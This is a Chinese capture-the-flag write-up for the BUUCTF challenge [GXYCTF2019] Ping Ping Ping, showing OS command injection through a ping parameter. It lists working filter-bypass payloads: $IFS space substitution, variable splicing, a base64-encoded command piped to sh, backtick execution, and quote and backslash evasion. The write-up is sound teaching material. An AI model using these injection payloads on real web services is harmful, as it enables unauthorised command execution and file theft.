Buuctf web [GXYCTF2019]Ping Ping Ping

根据题目提示和页面显示的/?ip=

/?ip=是get传参的表现,跟据题目ping尝试在/?ip=后面加127.0.0.0

Buuctf web [GXYCTF2019]Ping Ping Ping_第1张图片

有回显,看来方向是对的,接下来用管道符拼接ls尝试

Buuctf web [GXYCTF2019]Ping Ping Ping_第2张图片

看到了flag.php,直接cat flag,发现没有找到,发现空格被过滤了fxck your space(空格)!

Liunx下常见的绕过空格方式有以下几种:

cat$IFS$1flag.php//$1-$9都可以

cat${IFS}flag.php

{cat,flag.php}  //用逗号实现了空格功能,需要用{}括起来

cat

cat<>flag.php

ps:

$IFS在Linux下表示为空格
$9是当前系统shell进程第九个参数持有者,始终为空字符串,$后可以接任意数字

这里$IFS$9或$IFS垂直,后面加个$与{}类似,起截断作用

绕过空格之后,又发现符号被过滤了,但是不确定是$还是{}被过滤了

分别进行尝试,发现是{}被过滤了

绕过符号过滤后又发现flag也被过滤了

flag过滤绕过

?ip=127.0.0.0;a=g;cat$IFS$1fla$a.php
?ip=127.0.0.0;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
(这也是官方的 Writeup,原理是既然过滤 bash,那就用 sh,sh 的大部分脚本都可以在 bash下运行:)

?ip=127.0.0.1;cat$IFS$9`ls`

(内连输出:

在linux系统中,反引号是作为内联执行,输出查询结果的内容。比如用ls查询出index.php。那么`ls`就代表了index.php这个文件。那么我们就可以使用cat命令查看index.php的内容,

而这一道题就可以使用cat$IFS$1`ls` 这个命令来输出flag了

Buuctf web [GXYCTF2019]Ping Ping Ping_第3张图片

还有一些本题没有用到的不错的绕过方法

单双引号绕过

单双引号绕过也是一个不错的姿势。使用单双引号进行拼接,比如

ca""t还有fl''ag等。在linux中,读取到没有特使含义的单双引号就会被当作空格处理。

反斜线绕过

大同小异

ca\t fl\ag

$1、$2等和 $@绕过

大概的形式就是l$1s ca$2t fl$@ag等等。

你可能感兴趣的:(linux)